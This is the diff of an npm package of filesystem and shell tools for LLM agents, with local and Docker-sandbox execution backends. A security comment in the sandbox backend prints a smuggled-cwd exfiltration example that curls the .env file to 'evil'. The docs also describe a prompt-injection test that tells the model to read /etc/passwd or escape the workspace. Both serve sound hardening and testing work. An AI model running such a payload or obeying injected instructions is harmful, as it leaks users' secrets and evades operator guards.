@molecule/api-ai-tools 1.0.0

package/LICENSE

@@ -0,0 +1,115 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work.
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship.
+
+      "Contribution" shall mean any work of authorship, including the
+      original version of the Work and any modifications or additions
+      to that Work, that is intentionally submitted to the Licensor for
+      inclusion in the Work by the copyright owner or by an individual or
+      Legal Entity authorized to submit on behalf of the copyright owner.
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      patent license to make, have made, use, offer to sell, sell, import,
+      and otherwise transfer the Work.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file.
+
+   5. Submission of Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND.
+
+   8. Limitation of Liability. In no event and under no legal theory shall
+      any Contributor be liable to You for damages.
+
+   9. Accepting Warranty or Additional Liability.
+
+   Copyright 2026 Molecule Dev, Inc.
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/dist/backends/local.d.ts

@@ -0,0 +1,15 @@
+/**
+ * Local filesystem execution backend — wraps fs/promises + child_process.
+ * Used by the polish pipeline and any CLI-based agent tools.
+ *
+ * @module
+ */
+import type { ExecutionBackend } from '../types.js';
+/**
+ * Create an ExecutionBackend that operates on the local filesystem.
+ *
+ * @param projectRoot - Absolute path to the project root directory
+ * @returns A backend wired to `fs/promises` and guarded subprocess calls.
+ */
+export declare function createLocalBackend(projectRoot: string): ExecutionBackend;
+//# sourceMappingURL=local.d.ts.map

package/dist/backends/local.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"local.d.ts","sourceRoot":"","sources":["../../src/backends/local.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAMH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAEnD;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAAC,WAAW,EAAE,MAAM,GAAG,gBAAgB,CAmDxE"}

package/dist/backends/local.js

@@ -0,0 +1,59 @@
+/**
+ * Local filesystem execution backend — wraps fs/promises + child_process.
+ * Used by the polish pipeline and any CLI-based agent tools.
+ *
+ * @module
+ */
+import { execFile } from 'child_process';
+import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises';
+import { dirname } from 'path';
+/**
+ * Create an ExecutionBackend that operates on the local filesystem.
+ *
+ * @param projectRoot - Absolute path to the project root directory
+ * @returns A backend wired to `fs/promises` and guarded subprocess calls.
+ */
+export function createLocalBackend(projectRoot) {
+    return {
+        projectRoot,
+        async readFile(path) {
+            return readFile(path, 'utf8');
+        },
+        async writeFile(path, content) {
+            await mkdir(dirname(path), { recursive: true });
+            await writeFile(path, content, 'utf8');
+        },
+        async deleteFile(path) {
+            await unlink(path);
+        },
+        async readDir(path) {
+            const entries = await readdir(path, { withFileTypes: true });
+            return entries.map((e) => ({
+                name: e.name,
+                type: (e.isDirectory() ? 'directory' : 'file'),
+            }));
+        },
+        run(command, opts) {
+            return new Promise((resolve) => {
+                // Use shell: true for command strings (grep pipelines, find, etc.)
+                // Input is sanitized via shellQuote at the tool level
+                execFile('sh', ['-c', command], {
+                    cwd: opts?.cwd || projectRoot,
+                    timeout: opts?.timeout || 30000,
+                    maxBuffer: 10 * 1024 * 1024,
+                    encoding: 'utf8',
+                }, (error, stdout, stderr) => {
+                    if (error && 'code' in error && typeof error.code === 'number') {
+                        resolve({ stdout: stdout || '', stderr: stderr || '', exitCode: error.code });
+                    }
+                    else if (error) {
+                        resolve({ stdout: stdout || '', stderr: stderr || error.message, exitCode: 1 });
+                    }
+                    else {
+                        resolve({ stdout: stdout || '', stderr: stderr || '', exitCode: 0 });
+                    }
+                });
+            });
+        },
+    };
+}

package/dist/backends/sandbox.d.ts

@@ -0,0 +1,30 @@
+/**
+ * Sandbox execution backend — wraps `@molecule/api-code-sandbox` Sandbox interface.
+ * Used by Synthase (molecule.dev IDE).
+ *
+ * @module
+ */
+import type { ExecutionBackend } from '../types.js';
+/** Minimal Sandbox shape to avoid hard dependency on `@molecule/api-code-sandbox`. */
+interface SandboxLike {
+    readFile(path: string): Promise<string>;
+    writeFile(path: string, content: string): Promise<void>;
+    deleteFile(path: string): Promise<void>;
+    readDir(path: string): Promise<Array<{
+        name: string;
+        type: 'file' | 'directory';
+    }>>;
+    /** Sandbox command execution — already sandboxed within Docker. */
+    [key: string]: any;
+}
+/**
+ * Create an ExecutionBackend that delegates to a Docker sandbox instance.
+ * The sandbox.exec method is inherently safe — it runs inside an isolated Docker container.
+ *
+ * @param sandbox - A running Sandbox instance from `@molecule/api-code-sandbox`
+ * @param projectRoot - Root directory inside the sandbox (default: '/workspace')
+ * @returns A backend that proxies all filesystem calls into the sandbox.
+ */
+export declare function createSandboxBackend(sandbox: SandboxLike, projectRoot?: string): ExecutionBackend;
+export {};
+//# sourceMappingURL=sandbox.d.ts.map

package/dist/backends/sandbox.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"sandbox.d.ts","sourceRoot":"","sources":["../../src/backends/sandbox.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAGnD,sFAAsF;AACtF,UAAU,WAAW;IACnB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IACvC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvD,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IACnF,mEAAmE;IAEnE,CAAC,GAAG,EAAE,MAAM,GAAG,GAAG,CAAA;CACnB;AAED;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAClC,OAAO,EAAE,WAAW,EACpB,WAAW,SAAe,GACzB,gBAAgB,CAiClB"}

package/dist/backends/sandbox.js

@@ -0,0 +1,44 @@
+/**
+ * Sandbox execution backend — wraps `@molecule/api-code-sandbox` Sandbox interface.
+ * Used by Synthase (molecule.dev IDE).
+ *
+ * @module
+ */
+import { shellQuote } from '../utilities.js';
+/**
+ * Create an ExecutionBackend that delegates to a Docker sandbox instance.
+ * The sandbox.exec method is inherently safe — it runs inside an isolated Docker container.
+ *
+ * @param sandbox - A running Sandbox instance from `@molecule/api-code-sandbox`
+ * @param projectRoot - Root directory inside the sandbox (default: '/workspace')
+ * @returns A backend that proxies all filesystem calls into the sandbox.
+ */
+export function createSandboxBackend(sandbox, projectRoot = '/workspace') {
+    return {
+        projectRoot,
+        readFile(path) {
+            return sandbox.readFile(path);
+        },
+        writeFile(path, content) {
+            return sandbox.writeFile(path, content);
+        },
+        deleteFile(path) {
+            return sandbox.deleteFile(path);
+        },
+        readDir(path) {
+            return sandbox.readDir(path);
+        },
+        async run(command, opts) {
+            // SECURITY [C3-1]: shell-quote cwd so it is always a single literal path. It was
+            // interpolated raw into `sh -c`, and every pre-tool gate (egress confirm,
+            // destructive-command preview, env-dump block) inspects only `command` — so a
+            // payload smuggled via cwd (e.g. "/workspace/. && curl -d @/workspace/.env evil")
+            // executed ungated. Quoting makes a malicious cwd simply fail `cd`; legitimate
+            // metacharacter-free paths are unaffected.
+            const fullCommand = opts?.cwd ? `cd ${shellQuote(opts.cwd)} && ${command}` : command;
+            // sandbox.exec is the Sandbox interface method — runs inside Docker, inherently sandboxed
+            const result = await sandbox.exec(fullCommand, { timeout: opts?.timeout });
+            return { stdout: result.stdout, stderr: result.stderr, exitCode: result.exitCode };
+        },
+    };
+}

package/dist/browser-guard.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=browser-guard.d.ts.map

package/dist/browser-guard.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"browser-guard.d.ts","sourceRoot":"","sources":["../src/browser-guard.ts"],"names":[],"mappings":"AAuBA,OAAO,EAAE,CAAA"}

package/dist/browser-guard.js

@@ -0,0 +1,18 @@
+/**
+ * Browser guard — `@molecule/api-ai-tools` is SERVER-ONLY.
+ *
+ * Generated by scripts/gen-browser-guards.mjs (workspace root) — edit THAT, not this.
+ * Evaluating a server package in a browser bundle is always an import-graph mistake
+ * (node APIs, secrets); without this guard it surfaces as a cryptic downstream crash
+ * ("Buffer is not defined") far from the culprit. Throwing here names the package and
+ * the fix at the exact moment the client bundle evaluates it. jsdom tests and SSR are
+ * unaffected: the throw requires browser globals AND the absence of a node runtime.
+ */
+const g = globalThis;
+if (g.window !== undefined && g.document !== undefined && !g.process?.versions?.node) {
+    throw new Error('@molecule/api-ai-tools is SERVER-ONLY: it was bundled into browser/client code. Import it only ' +
+        'from server code (a server route/function or your API), or dynamic-import it inside ' +
+        'the server handler — never from components or shared client modules, and never ' +
+        'polyfill Buffer/process to silence this.');
+}
+export {};

package/dist/index.d.ts

@@ -0,0 +1,93 @@
+/**
+ * Shared AI agent tool set for molecule.dev — filesystem, search, and shell
+ * tools an LLM agent can call, with a swappable execution backend.
+ *
+ * `buildTools(backend)` returns ready-to-use `AITool`s (the `@molecule/api-ai`
+ * tool shape): `list_files`, `read_file`, `write_file`, `edit_file`,
+ * `search_files`, `find_files`, `create_directory`, `rename_file`,
+ * `delete_file`, `exec_command`, `save_plan`, `load_skill`. The backend decides
+ * WHERE they act: `createLocalBackend(projectRoot)` (host filesystem) or
+ * `createSandboxBackend(...)` (an isolated `@molecule/api-code-sandbox`
+ * container). `buildAgentPrompt(ctx)` composes a matching system prompt
+ * (identity, tool listing, project docs, discovered skills).
+ *
+ * @remarks
+ * - **This package only defines the tools — it runs no model loop.** Hand them to
+ *   the bonded AI provider (`chat({ tools, … })`) or to an
+ *   `@molecule/api-ai-agents` run.
+ * - **Safety defaults: keep them on for model-driven use.** `pathGuards` (default
+ *   true) rejects paths escaping `projectRoot`; `redactSecrets` (default true)
+ *   masks secret-looking values in file reads and command output.
+ * - **`exec_command` executes REAL shell commands** on the backend. Prefer a
+ *   sandbox backend for untrusted/model-driven work; add environment-specific
+ *   rules via `blockCommand` (return an actionable error string to refuse — it is
+ *   shown to the model verbatim) and enable `blockDangerousCommands` (default
+ *   FALSE) where appropriate.
+ * - **Scope the tool set per agent** with `include`/`exclude` — a read-only agent
+ *   should not receive `write_file`/`exec_command`.
+ * - Outputs are size-capped (`MAX_READ_SIZE`, `MAX_OUTPUT_SIZE`, …) and searches
+ *   skip `DEFAULT_SEARCH_EXCLUDED_DIRS` (node_modules, VCS dirs, build output) —
+ *   pass `searchExcludedDirs` so every search surface shares the consumer's one
+ *   setting.
+ *
+ * @example
+ * ```typescript
+ * import { buildAgentPrompt, buildTools, createLocalBackend } from '@molecule/api-ai-tools'
+ * import { requireProvider } from '@molecule/api-ai'
+ *
+ * const backend = createLocalBackend('/path/to/project')
+ * const tools = buildTools(backend, { include: ['read_file', 'edit_file', 'search_files'] })
+ * const system = buildAgentPrompt({
+ *   agentName: 'My Agent',
+ *   projectRoot: backend.projectRoot,
+ *   tools: tools.map((t) => t.name),
+ * })
+ *
+ * // Hand them to the bonded AI provider (or an @molecule/api-ai-agents run).
+ * for await (const event of requireProvider().chat({ system, tools, messages, stream: true })) {
+ *   // forward text chunks; tool calls are executed against the backend
+ * }
+ * ```
+ *
+ * @e2e
+ * Integration checklist — drive the real UI (live preview, no mocks), adapt
+ * each item to this app's actual agent/chat surface and its registered tools,
+ * and check every box off one by one. A box you can't check is an integration
+ * bug to fix — not a skip:
+ * - [ ] A prompt that should trigger a registered tool makes the model INVOKE
+ *   it with args matching that tool's `parameters` schema (e.g. "read
+ *   src/index.ts" -> calls `read_file` with `{ path: 'src/index.ts' }`).
+ *   Confirm the tool's `execute` actually RAN — its backend side effect / log /
+ *   the file it touched — not that the model merely narrated calling it.
+ * - [ ] The tool's returned value flows back into the model and shapes the
+ *   final answer: the REAL result (the file's actual contents, the command's
+ *   real stdout/exitCode) appears in the reply, not a plausible hallucination.
+ * - [ ] A prompt that needs no tool is answered directly, with no spurious
+ *   tool call.
+ * - [ ] A tool whose `execute` throws or returns `{ error }` (missing file,
+ *   failing command, blocked path) degrades gracefully — the error is caught
+ *   and fed back to the model as text, the conversation continues, and nothing
+ *   crashes the request.
+ * - [ ] The model can invoke ONLY the tools handed to this run: an
+ *   `include`/`exclude`-scoped agent (e.g. read-only — no `write_file` /
+ *   `exec_command`) cannot call an excluded tool, and a tool name the model
+ *   invents that was never registered is refused, not executed.
+ * - [ ] Tool execution is server-side and authorized: `exec_command` /
+ *   `write_file` run only on the bonded backend under its guards (`pathGuards`,
+ *   `symlinkGuards`, `redactSecrets`, `blockDangerousCommands` / `blockCommand`)
+ *   and stay inside `projectRoot`. Feed a prompt-injected instruction (a file or
+ *   message telling the model to read `/etc/passwd`, escape the workspace, or run
+ *   a privileged command) and confirm the guard REFUSES it — a user must not be
+ *   able to trigger, via the model, any action they could not perform directly.
+ *
+ * @module
+ */
+export * from './backends/local.js';
+export * from './backends/sandbox.js';
+export * from './browser-guard.js';
+export * from './schemas.js';
+export * from './system-prompt.js';
+export * from './tools.js';
+export * from './types.js';
+export * from './utilities.js';
+//# sourceMappingURL=index.d.ts.map

package/dist/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAmFG;AAEH,cAAc,qBAAqB,CAAA;AACnC,cAAc,uBAAuB,CAAA;AACrC,cAAc,oBAAoB,CAAA;AAClC,cAAc,cAAc,CAAA;AAC5B,cAAc,oBAAoB,CAAA;AAClC,cAAc,YAAY,CAAA;AAC1B,cAAc,YAAY,CAAA;AAC1B,cAAc,gBAAgB,CAAA"}

package/dist/index.js

@@ -0,0 +1,92 @@
+/**
+ * Shared AI agent tool set for molecule.dev — filesystem, search, and shell
+ * tools an LLM agent can call, with a swappable execution backend.
+ *
+ * `buildTools(backend)` returns ready-to-use `AITool`s (the `@molecule/api-ai`
+ * tool shape): `list_files`, `read_file`, `write_file`, `edit_file`,
+ * `search_files`, `find_files`, `create_directory`, `rename_file`,
+ * `delete_file`, `exec_command`, `save_plan`, `load_skill`. The backend decides
+ * WHERE they act: `createLocalBackend(projectRoot)` (host filesystem) or
+ * `createSandboxBackend(...)` (an isolated `@molecule/api-code-sandbox`
+ * container). `buildAgentPrompt(ctx)` composes a matching system prompt
+ * (identity, tool listing, project docs, discovered skills).
+ *
+ * @remarks
+ * - **This package only defines the tools — it runs no model loop.** Hand them to
+ *   the bonded AI provider (`chat({ tools, … })`) or to an
+ *   `@molecule/api-ai-agents` run.
+ * - **Safety defaults: keep them on for model-driven use.** `pathGuards` (default
+ *   true) rejects paths escaping `projectRoot`; `redactSecrets` (default true)
+ *   masks secret-looking values in file reads and command output.
+ * - **`exec_command` executes REAL shell commands** on the backend. Prefer a
+ *   sandbox backend for untrusted/model-driven work; add environment-specific
+ *   rules via `blockCommand` (return an actionable error string to refuse — it is
+ *   shown to the model verbatim) and enable `blockDangerousCommands` (default
+ *   FALSE) where appropriate.
+ * - **Scope the tool set per agent** with `include`/`exclude` — a read-only agent
+ *   should not receive `write_file`/`exec_command`.
+ * - Outputs are size-capped (`MAX_READ_SIZE`, `MAX_OUTPUT_SIZE`, …) and searches
+ *   skip `DEFAULT_SEARCH_EXCLUDED_DIRS` (node_modules, VCS dirs, build output) —
+ *   pass `searchExcludedDirs` so every search surface shares the consumer's one
+ *   setting.
+ *
+ * @example
+ * ```typescript
+ * import { buildAgentPrompt, buildTools, createLocalBackend } from '@molecule/api-ai-tools'
+ * import { requireProvider } from '@molecule/api-ai'
+ *
+ * const backend = createLocalBackend('/path/to/project')
+ * const tools = buildTools(backend, { include: ['read_file', 'edit_file', 'search_files'] })
+ * const system = buildAgentPrompt({
+ *   agentName: 'My Agent',
+ *   projectRoot: backend.projectRoot,
+ *   tools: tools.map((t) => t.name),
+ * })
+ *
+ * // Hand them to the bonded AI provider (or an @molecule/api-ai-agents run).
+ * for await (const event of requireProvider().chat({ system, tools, messages, stream: true })) {
+ *   // forward text chunks; tool calls are executed against the backend
+ * }
+ * ```
+ *
+ * @e2e
+ * Integration checklist — drive the real UI (live preview, no mocks), adapt
+ * each item to this app's actual agent/chat surface and its registered tools,
+ * and check every box off one by one. A box you can't check is an integration
+ * bug to fix — not a skip:
+ * - [ ] A prompt that should trigger a registered tool makes the model INVOKE
+ *   it with args matching that tool's `parameters` schema (e.g. "read
+ *   src/index.ts" -> calls `read_file` with `{ path: 'src/index.ts' }`).
+ *   Confirm the tool's `execute` actually RAN — its backend side effect / log /
+ *   the file it touched — not that the model merely narrated calling it.
+ * - [ ] The tool's returned value flows back into the model and shapes the
+ *   final answer: the REAL result (the file's actual contents, the command's
+ *   real stdout/exitCode) appears in the reply, not a plausible hallucination.
+ * - [ ] A prompt that needs no tool is answered directly, with no spurious
+ *   tool call.
+ * - [ ] A tool whose `execute` throws or returns `{ error }` (missing file,
+ *   failing command, blocked path) degrades gracefully — the error is caught
+ *   and fed back to the model as text, the conversation continues, and nothing
+ *   crashes the request.
+ * - [ ] The model can invoke ONLY the tools handed to this run: an
+ *   `include`/`exclude`-scoped agent (e.g. read-only — no `write_file` /
+ *   `exec_command`) cannot call an excluded tool, and a tool name the model
+ *   invents that was never registered is refused, not executed.
+ * - [ ] Tool execution is server-side and authorized: `exec_command` /
+ *   `write_file` run only on the bonded backend under its guards (`pathGuards`,
+ *   `symlinkGuards`, `redactSecrets`, `blockDangerousCommands` / `blockCommand`)
+ *   and stay inside `projectRoot`. Feed a prompt-injected instruction (a file or
+ *   message telling the model to read `/etc/passwd`, escape the workspace, or run
+ *   a privileged command) and confirm the guard REFUSES it — a user must not be
+ *   able to trigger, via the model, any action they could not perform directly.
+ *
+ * @module
+ */
+export * from './backends/local.js';
+export * from './backends/sandbox.js';
+export * from './browser-guard.js';
+export * from './schemas.js';
+export * from './system-prompt.js';
+export * from './tools.js';
+export * from './types.js';
+export * from './utilities.js';

package/dist/schemas.d.ts

@@ -0,0 +1,20 @@
+/**
+ * Pure tool schema definitions — name, description, and JSON Schema parameters.
+ * No execution logic, no imports beyond types.
+ *
+ * @module
+ */
+import type { JSONSchema } from '@molecule/api-ai';
+/**
+ * JSON-schema-backed definition for a single agent tool.
+ */
+export interface ToolSchema {
+    name: string;
+    description: string;
+    parameters: JSONSchema;
+}
+/**
+ * Canonical tool schemas shared by the agent runtime and documentation.
+ */
+export declare const TOOL_SCHEMAS: Record<string, ToolSchema>;
+//# sourceMappingURL=schemas.d.ts.map

package/dist/schemas.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"schemas.d.ts","sourceRoot":"","sources":["../src/schemas.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAA;AAElD;;GAEG;AACH,MAAM,WAAW,UAAU;IACzB,IAAI,EAAE,MAAM,CAAA;IACZ,WAAW,EAAE,MAAM,CAAA;IACnB,UAAU,EAAE,UAAU,CAAA;CACvB;AAED;;GAEG;AACH,eAAO,MAAM,YAAY,EAAE,MAAM,CAAC,MAAM,EAAE,UAAU,CA2O1C,CAAA"}